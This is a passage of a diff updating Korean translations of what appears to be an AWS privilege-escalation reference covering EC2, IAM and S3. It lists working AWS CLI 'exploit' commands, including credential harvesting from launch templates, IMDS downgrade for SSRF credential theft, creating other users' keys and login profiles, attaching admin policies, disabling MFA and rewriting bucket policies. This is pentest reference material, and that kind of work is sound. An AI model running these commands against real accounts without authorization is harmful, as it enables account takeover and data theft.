|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
이 방법은 exploit하려면 username과 password를 알아야 하기 때문에 privesc에는 그다지 유용하지 않습니다.
|
||||
이 방법은 exploit하려면 username과 password를 알아야 하므로 privesc에는 그리 유용하지 않습니다.
|
||||
|
||||
**잠재적 영향:** (증명하기 매우 어려움) running instances에 연결된 EC2 IAM roles로의 직접 privesc.
|
||||
**Potential Impact:** (Highly unprovable) 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접적인 privesc.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
launch templates에는 버전 관리가 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 이를 악용하여 user data에 포함된 자격 증명과 같은 민감한 정보를 발견할 수 있습니다. 이를 위해, 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다:
|
||||
launch templates에는 버전 관리가 되어 있으므로, **`ec2:describe-launch-templates`** 및 **`ec2:describe-launch-template-versions`** 권한을 가진 공격자는 user data에 포함된 credentials와 같은 민감한 정보를 발견하기 위해 이를 악용할 수 있습니다. 이를 수행하기 위해 다음 스크립트는 사용 가능한 launch templates의 모든 버전을 순회합니다:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -252,20 +253,25 @@ In the above commands, although we're specifying certain patterns (`aws_|passwor
|
||||
|
||||
Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
|
||||
|
||||
**잠재적 영향:** Direct privilege escalation to IAM user(s).
|
||||
**Potential Impact:** IAM user(s)로의 직접적인 권한 상승.
|
||||
|
||||
## 참조
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS 다운그레이드로 SSRF credential theft 활성화)
|
||||
|
||||
취약한 EC2 인스턴스에서 `ec2:ModifyInstanceMetadataOptions`를 호출할 수 있는 권한을 가진 공격자는 IMDS 보호를 약화시켜 IMDSv1 (`HttpTokens=optional`)을 활성화하고 `HttpPutResponseHopLimit`을 증가시킬 수 있습니다. 이렇게 하면 인스턴스 메타데이터 엔드포인트가 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/proxy 경로를 통해 도달 가능해집니다. 공격자가 해당 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로파일 자격증명을 검색하여 pivot할 수 있습니다.
|
||||
|
||||
- 필요한 권한: 대상 인스턴스에 대한 `ec2:ModifyInstanceMetadataOptions` (호스트에 대한 SSRF에 접근/유발할 수 있는 능력 포함).
|
||||
- 대상 리소스: 인스턴스 프로파일(IAM role)이 연결된 실행 중인 EC2 인스턴스.
|
||||
|
||||
명령 예시:
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS 다운그레이드로 SSRF를 통한 자격 증명 탈취 활성화)
|
||||
|
||||
`ec2:ModifyInstanceMetadataOptions`를 피해자 EC2 인스턴스에서 호출할 수 있는 공격자는 IMDS 보호를 약화시켜 IMDSv1(`HttpTokens=optional`)을 활성화하고 `HttpPutResponseHopLimit`을 증가시킬 수 있습니다. 이렇게 하면 인스턴스에서 실행되는 애플리케이션의 일반적인 SSRF/프록시 경로를 통해 인스턴스 메타데이터 엔드포인트에 접근할 수 있게 됩니다. 공격자가 그러한 애플리케이션에서 SSRF를 유발할 수 있다면, 인스턴스 프로파일 자격증명을 가져와 이를 이용해 pivot할 수 있습니다.
|
||||
|
||||
- 필요 권한: 대상 인스턴스에서의 `ec2:ModifyInstanceMetadataOptions` (및 호스트에 도달/SSRF를 유발할 수 있는 능력).
|
||||
- 대상 리소스: 인스턴스 프로파일 (IAM role)이 연결된 실행 중인 EC2 인스턴스.
|
||||
|
||||
Commands example:
|
||||
```bash
|
||||
# 1) Check current metadata settings
|
||||
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
|
||||
@@ -292,11 +298,11 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
잠재적 영향: SSRF를 통한 instance profile credentials 도용으로 EC2 역할 권한을 이용한 privilege escalation 및 lateral movement로 이어질 수 있음.
|
||||
잠재적 영향: SSRF를 통한 인스턴스 프로필 자격 증명 도용 — 이는 EC2 역할 권한으로 권한 상승 및 횡적 이동으로 이어질 수 있습니다.
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
ec2:ModifyInstanceMetadataOptions 권한을 가진 공격자는 Instance Metadata Service (IMDS) 보호를 약화시킬 수 있습니다 — 예를 들어 IMDSv1로 강제( HttpTokens를 필요하지 않도록 )하거나 HttpPutResponseHopLimit을 증가시키는 방식으로 — 이로 인해 임시 자격 증명의 유출이 쉬워집니다. 가장 관련 있는 위험 벡터는 HttpPutResponseHopLimit을 올리는 것입니다: 해당 hop 한도(TTL)를 증가시키면 169.254.169.254 엔드포인트가 VM의 네트워크 네임스페이스에 엄격히 국한되지 않게 되어 다른 프로세스/컨테이너에서 접근 가능해지고, 자격 증명 도난을 초래할 수 있습니다.
|
||||
ec2:ModifyInstanceMetadataOptions 권한을 가진 공격자는 Instance Metadata Service (IMDS)의 보호를 약화시킬 수 있습니다 — 예를 들어 IMDSv1을 강제로 사용하게 하여 HttpTokens을 필수로 하지 않거나 HttpPutResponseHopLimit을 증가시키는 방식으로 — 이로 인해 임시 자격 증명의 탈취가 쉬워집니다. 가장 관련성 높은 위험 벡터는 HttpPutResponseHopLimit을 올리는 것입니다: 해당 hop 한도(TTL)를 증가시키면 169.254.169.254 엔드포인트가 더 이상 VM의 네트워크 네임스페이스에 엄격히 제한되지 않고 다른 프로세스/컨테이너에서 접근 가능해져 자격 증명 도용이 가능해집니다.
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
@@ -306,13 +312,13 @@ aws ec2 modify-instance-metadata-options \
|
||||
```
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
ec2:ModifyImageAttribute 및 ec2:ModifySnapshotAttribute 권한을 가진 공격자는 AMIs 또는 snapshots을 다른 AWS 계정과 공유(또는 공개)할 수 있으며, 이로 인해 구성, 자격 증명, 인증서 또는 백업과 같은 민감한 데이터를 포함하고 있을 수 있는 이미지나 볼륨이 노출될 수 있습니다. AMI의 launch permissions 또는 snapshot의 create-volume permissions을 수정하면 공격자는 제3자가 해당 리소스에서 instances를 launch하거나 disks를 mount하여 내용에 접근할 수 있게 됩니다.
|
||||
ec2:ModifyImageAttribute 및 ec2:ModifySnapshotAttribute 권한을 가진 공격자는 AMIs 또는 snapshots를 다른 AWS 계정과 공유하거나(심지어 공개로 설정하여) configurations, credentials, certificates, 또는 backups 같은 민감한 데이터를 포함할 수 있는 이미지나 볼륨을 노출시킬 수 있습니다. AMI의 launch permissions 또는 snapshot의 create-volume permissions을 수정함으로써, 공격자는 제3자가 해당 리소스에서 launch instances하거나 mount disks하여 그 내용에 접근할 수 있도록 합니다.
|
||||
|
||||
다른 계정과 AMI를 공유하려면:
|
||||
To share an AMI with another account:
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
다른 계정과 EBS snapshot을 공유하려면:
|
||||
EBS snapshot을 다른 계정과 공유하려면:
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
|
||||
@@ -12,64 +12,64 @@ IAM에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한 없이 기본 버전 설정을 우회할 수 있습니다. 이를 통해 사용자 지정 권한을 정의할 수 있습니다.
|
||||
새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. `--set-as-default` 플래그를 사용하면 `iam:SetDefaultPolicyVersion` 권한 없이 우회할 수 있습니다. 이를 통해 사용자 정의 권한을 설정할 수 있습니다.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**영향:** 모든 리소스에 대해 모든 작업을 허용하여 권한을 직접 상승시킵니다.
|
||||
**영향:** 모든 리소스에 대해 모든 작업을 허용하여 권한을 직접적으로 상승시킵니다.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 하며, 새 버전에 더 많은 권한이 있을 경우 권한을 상승시킬 수 있습니다.
|
||||
IAM policy의 기본 버전을 다른 기존 버전으로 변경할 수 있게 허용하며, 새 버전에 더 많은 권한이 있으면 권한 상승이 발생할 수 있습니다.
|
||||
|
||||
**Bash Command:**
|
||||
**Bash 명령:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**영향:** 추가 권한을 부여할 수 있게 하여 간접적인 권한 상승을 초래할 수 있음.
|
||||
**영향:** 추가 권한을 허용하여 간접적인 privilege escalation을 초래함.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
|
||||
다른 사용자의 access key ID와 secret access key를 생성할 수 있게 하여 잠재적인 권한 상승으로 이어질 수 있음.
|
||||
다른 사용자에 대해 access key ID 및 secret access key를 생성할 수 있게 하여 잠재적인 privilege escalation으로 이어짐.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**영향:** 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승을 초래합니다.
|
||||
**Impact:** 다른 사용자의 확장된 권한을 가정하여 직접 privilege escalation을 유발합니다.
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
로그인 프로필을 생성하거나 업데이트(예: AWS 콘솔 로그인용 비밀번호 설정)할 수 있도록 허용하여 직접적인 권한 상승으로 이어집니다.
|
||||
로그인 프로필을 생성하거나 업데이트할 수 있으며, AWS 콘솔 로그인을 위한 비밀번호 설정을 포함하여 직접 privilege escalation으로 이어질 수 있습니다.
|
||||
|
||||
**생성용 Exploit:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit 업데이트용:**
|
||||
**업데이트를 위한 Exploit:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**영향:** "any" 사용자로 로그인함으로써 직접적인 권한 상승이 발생할 수 있습니다.
|
||||
**영향:** "any" 사용자로 로그인함으로써 직접적인 권한 상승.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
비활성화된 access key를 활성화할 수 있어, attacker가 이를 보유하고 있다면 무단 접근으로 이어질 수 있습니다.
|
||||
비활성화된 access key를 활성화할 수 있게 허용하며, 공격자가 해당 비활성 키를 보유한 경우 무단 접근으로 이어질 수 있습니다.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impact:** 액세스 키를 재활성화하여 직접적인 권한 상승을 초래함.
|
||||
**영향:** 액세스 키를 재활성화하여 직접적인 권한 상승.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있게 하며, 해당 사용자의 권한을 상속함.
|
||||
특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있으며, 연관된 사용자의 권한을 상속합니다.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
@@ -79,31 +79,31 @@ aws iam create-service-specific-credential --user-name <username> --service-name
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**영향:** 사용자의 서비스 권한 내에서의 직접적인 privilege escalation.
|
||||
**영향:** 사용자의 서비스 권한 범위 내에서 직접적인 권한 상승.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
사용자 또는 그룹에 정책을 연결할 수 있도록 허용하며, 연결된 정책의 권한을 상속받아 직접적인 privilege escalation을 발생시킵니다.
|
||||
사용자 또는 그룹에 정책을 연결할 수 있으며, 연결된 정책의 권한을 상속받아 권한을 직접 상승시킬 수 있습니다.
|
||||
|
||||
**Exploit for User:**
|
||||
**사용자용 Exploit:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**그룹용 Exploit:**
|
||||
**그룹에 대한 Exploit:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**영향:** 해당 정책이 부여하는 모든 항목에 대한 직접적인 권한 상승.
|
||||
**Impact:** 정책이 부여하는 모든 항목으로의 직접적인 권한 상승.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
역할, 사용자 또는 그룹에 정책을 연결하거나 적용할 수 있도록 허용하여, 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다.
|
||||
역할, 사용자 또는 그룹에 정책을 첨부하거나 추가할 수 있도록 허용하여, 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다.
|
||||
|
||||
**Role에 대한 Exploit:**
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit for Inline Policies:**
|
||||
**인라인 정책을 위한 Exploit:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -127,28 +127,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** 정책을 통해 권한을 추가하여 직접적인 권한 상승.
|
||||
**영향:** 정책을 통해 권한을 추가하여 직접적인 권한 상승.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
자신을 IAM 그룹에 추가할 수 있어, 그룹의 권한을 상속받아 권한을 상승시킵니다.
|
||||
자신을 IAM 그룹에 추가할 수 있게 하여, 그룹의 권한을 상속받아 권한을 상승시킨다.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**영향:** 그룹의 권한 수준으로 직접 권한 상승.
|
||||
**Impact:** 그룹의 권한 수준으로 직접 권한 상승.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
역할의 assume role policy 문서를 변경할 수 있게 허용하여, 해당 역할과 그에 연관된 권한을 획득(assume)할 수 있게 한다.
|
||||
역할의 assume role policy document를 변경할 수 있도록 허용하며, 해당 역할 및 연관된 권한을 획득할 수 있게 합니다.
|
||||
|
||||
**악용:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
정책이 아래와 같이 되어 있어 사용자가 해당 역할을 assume할 수 있는 권한을 부여하는 경우:
|
||||
정책이 다음과 같아서 사용자가 해당 역할을 맡을 수 있도록 권한을 부여하는 경우:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,11 +163,11 @@ aws iam update-assume-role-policy --role-name <role_name> \
|
||||
]
|
||||
}
|
||||
```
|
||||
**영향:** 임의의 역할 권한을 가정하여 직접적인 권한 상승이 가능합니다.
|
||||
**Impact:** 임의 역할의 권한을 가정하여 직접적인 권한 상승.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
CodeCommit 인증용 SSH 공개키 업로드와 MFA 장치 비활성화를 허용하여 간접적인 권한 상승으로 이어질 수 있습니다.
|
||||
CodeCommit 인증을 위한 SSH public key 업로드 및 MFA devices 비활성화를 허용하여 잠재적인 간접 권한 상승으로 이어질 수 있음.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**영향:** 간접적인 privilege escalation: CodeCommit 접근을 허용하거나 MFA 보호를 비활성화함으로써 발생할 수 있음.
|
||||
**Impact:** CodeCommit 접근을 허용하거나 MFA 보호를 비활성화하여 발생할 수 있는 간접적인 권한 상승.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
MFA 장치의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 privilege escalation로 이어질 수 있음.
|
||||
MFA 디바이스의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 권한 상승으로 이어질 수 있음.
|
||||
|
||||
**Bash 명령:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** MFA devices를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승.
|
||||
**영향:** MFA devices를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
이 권한들이 있으면 **SAML connection의 XML metadata를 변경할 수 있습니다**. 그런 다음 **SAML federation을** 악용하여 이를 신뢰하는 **임의의 role**로 **login**할 수 있습니다.
|
||||
이 권한들이 있으면 **SAML 연결의 XML metadata를 변경**할 수 있습니다. 그러면 **SAML federation을 악용해**, 이를 신뢰하는 어떤 **role로도 login**할 수 있습니다.
|
||||
|
||||
Note that doing this **정상 사용자는 더 이상 로그인할 수 없습니다**. 하지만 XML을 획득해 자신의 것으로 교체한 뒤 **login**하여 이전 상태로 다시 구성할 수 있습니다.
|
||||
참고로 이렇게 하면 **legit users는 login할 수 없게 됩니다**. 그러나 XML을 얻을 수 있으므로, 자신의 XML을 넣고 login하여 이전 상태로 다시 구성할 수 있습니다.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: 지정된 role로 로그인할 수 있는 SAML 메타데이터를 생성하는 도구
|
||||
> TODO: SAML metadata를 생성하고 지정된 role로 login할 수 있는 Tool
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(확실하지 않음) 만약 attacker가 이러한 **permissions**를 가지고 있다면, provider를 신뢰하는 모든 roles에 로그인할 수 있도록 새로운 **Thumbprint**를 추가할 수 있습니다.
|
||||
(불확실함) 공격자가 이들 **permissions** 를 가지고 있다면, provider를 신뢰하는 모든 **roles** 에 대해 login할 수 있도록 새 **Thumbprint** 를 추가할 수 있다.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
이 권한은 공격자가 사용자의 권한 경계를 업데이트할 수 있게 하며, 이를 통해 기존 권한으로는 제한된 작업을 수행할 수 있도록 권한을 승격시킬 수 있습니다.
|
||||
이 권한은 공격자가 특정 사용자의 permissions boundary를 업데이트할 수 있게 하며, 이를 통해 기존 권한으로는 허용되지 않았던 작업을 수행하도록 권한을 상승시킬 수 있습니다.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,7 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
iam:PutRolePermissionsBoundary 권한을 가진 주체는 기존 역할에 권한 경계(permissions boundary)를 설정할 수 있습니다. 이 권한을 가진 사람이 역할의 경계를 변경할 때 위험이 발생합니다: 작업을 부적절하게 제한하여 서비스 중단을 초래할 수 있고, 또는 관대한(permissive) 권한 경계를 부착하면 해당 역할이 수행할 수 있는 작업을 사실상 확장하여 권한 상승을 일으킬 수 있습니다.
|
||||
iam:PutRolePermissionsBoundary 권한을 가진 행위자는 기존 역할에 권한 경계(permissions boundary)를 설정할 수 있습니다. 이 권한을 가진 사용자가 역할의 경계를 변경하면 위험이 발생합니다: 작업을 부적절하게 제한해 서비스 중단을 초래할 수 있고, 만약 권한을 넓게 허용하는 경계(permissive boundary)를 붙이면 역할이 수행할 수 있는 범위를 사실상 확장해 권한 상승을 일으킬 수 있습니다.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
해당 권한을 흥미로운 버킷에 가지고 있는 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다.
|
||||
해당 permissions을 흥미로운 buckets에 대해 가진 attacker는 resources를 hijack하고 escalate privileges를 얻을 수 있습니다.
|
||||
|
||||
For example, an attacker with those **cloudformation 버킷에 대한 권한** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:
|
||||
예를 들어, "cf-templates-nohnwfax6a6i-us-east-1"라는 이름의 **permissions over a cloudformation bucket**을 가진 attacker는 deployment를 hijack할 수 있습니다. 접근은 다음 policy로 부여될 수 있습니다:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,30 +34,26 @@ For example, an attacker with those **cloudformation 버킷에 대한 권한** c
|
||||
]
|
||||
}
|
||||
```
|
||||
그리고 hijack는 template가 bucket에 업로드된 순간부터 template가 배포되는 순간까지 **작은 시간 창(small time window)**이 있기 때문에 가능합니다. 공격자는 자신의 계정에 bucket notification이 전송될 때 **trigger** 되는 **lambda function**을 만들어 그 **bucket**의 **content**를 hijack할 수 있습니다.
|
||||
And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
|
||||
|
||||
.png>)
|
||||
|
||||
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
|
||||
자세한 정보는 원본 연구를 확인하세요: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
이 권한들은 **S3에 객체를 업로드하고 가져오는(get and upload objects to S3)** 권한입니다. AWS 내부(및 외부)의 여러 서비스는 **config files**를 저장하기 위해 S3 storage를 사용합니다.\
|
||||
공격자가 해당 파일들에 대해 **read access**를 가지면 그 안에서 **민감한 정보(sensitive information)**를 찾을 수 있습니다.\
|
||||
공격자가 **write access**를 가지면 데이터를 수정해 어떤 서비스를 악용하거나 **권한 상승(escalate privileges)**을 시도할 수 있습니다.\
|
||||
예시는 다음과 같습니다:
|
||||
이는 S3에 객체를 가져오고 업로드할 수 있는 권한이다. AWS 내부(및 외부)의 여러 서비스가 구성 파일을 저장하기 위해 S3 스토리지를 사용한다. 해당 파일들에 대한 **read access**를 가진 공격자는 민감한 정보를 발견할 수 있다. **write access**를 가진 공격자는 데이터를 수정해 특정 서비스를 악용하거나 권한 상승을 시도할 수 있다. 다음은 몇 가지 예시이다:
|
||||
|
||||
- 만약 EC2 인스턴스가 **user data를 S3 bucket에 저장**하고 있다면, 공격자는 이를 수정해 **EC2 인스턴스 내부에서 임의의 코드를 실행(execute arbitrary code)**할 수 있습니다.
|
||||
- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state 파일들이 클라우드 제공자의 blob storage(예: AWS S3)에 저장되는 경우가 매우 흔합니다. state 파일의 확장자는 `.tfstate`이고, 버킷 이름만으로도 terraform state 파일을 저장하고 있음을 알 수 있는 경우가 많습니다. 보통 각 AWS 계정에는 계정의 상태를 보여주는 state 파일을 저장하기 위한 버킷이 하나씩 있습니다.
|
||||
또한 실제 환경에서는 거의 항상 모든 개발자가 `s3:*` 권한을 가지고 있고, 때로는 비즈니스 사용자도 `s3:Put*` 권한을 가지는 경우가 있습니다.
|
||||
terraform state 파일들이 클라우드 제공업체의 blob 스토리지(예: AWS S3)에 저장되는 것은 매우 흔하다. 상태 파일의 확장자는 `.tfstate`이며, 버킷 이름만으로도 terraform state 파일을 포함하고 있음을 알 수 있는 경우가 많다. 보통 모든 AWS 계정에는 계정 상태를 보여주는 state 파일을 저장하는 버킷이 하나 있다. 또한 실제 환경에서는 거의 대부분 개발자들이 `s3:*` 권한을 가지고 있고, 때로는 비즈니스 사용자들도 `s3:Put*` 권한을 갖고 있는 경우가 있다.
|
||||
|
||||
따라서 이런 파일들에 대해 위 권한을 가지고 있다면, `terraform` 권한으로 파이프라인에서 RCE를 획득할 수 있는 공격 벡터가 존재합니다 — 대부분의 경우 `AdministratorAccess` 권한을 가지게 되어 클라우드 계정의 관리자가 됩니다. 또한 해당 벡터를 이용해 `terraform`이 정상 리소스를 삭제하게 만들어 서비스 거부(DoS) 공격을 할 수도 있습니다.
|
||||
따라서 이러한 파일들에 대한 권한을 가지고 있다면, 해당 권한으로 파이프라인에서 `terraform`의 권한(대부분의 경우 `AdministratorAccess`)으로 RCE를 얻을 수 있는 공격 벡터가 존재하며, 이를 통해 클라우드 계정의 관리자가 될 수 있다. 또한 이 벡터를 이용해 `terraform`가 정상 리소스를 삭제하게 하여 서비스 거부 공격을 할 수도 있다.
|
||||
|
||||
직접 사용할 수 있는 익스플로잇 코드는 *Terraform Security* 페이지의 *Abusing Terraform State Files* 섹션 설명을 따르세요:
|
||||
Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
|
||||
|
||||
{{#ref}}
|
||||
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
|
||||
@@ -65,7 +61,7 @@ The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
같은 계정(from the same account)에 있어야 하는 공격자는, 그렇지 않으면 `The specified method is not allowed will trigger` 오류가 발생하지만, 이 권한으로 자신에게 해당 버킷들에 대해 더 많은 권한을 부여할 수 있어 읽기, 쓰기, 수정, 삭제 및 버킷 노출이 가능해집니다.
|
||||
An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -123,8 +119,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
attacker는 이러한 권한을 악용하여 **특정 버킷에 대한 더 많은 권한을 자신에게 부여할 수 있다**.\
|
||||
참고로 attacker는 동일한 계정에 속할 필요가 없다. 또한 쓰기 권한
|
||||
attacker는 이러한 권한을 악용하여 특정 buckets에 대해 **자신에게 더 많은 접근 권한을 부여할 수 있다**.\
|
||||
참고: attacker가 동일한 account에 속해 있을 필요는 없다. 게다가 write access
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
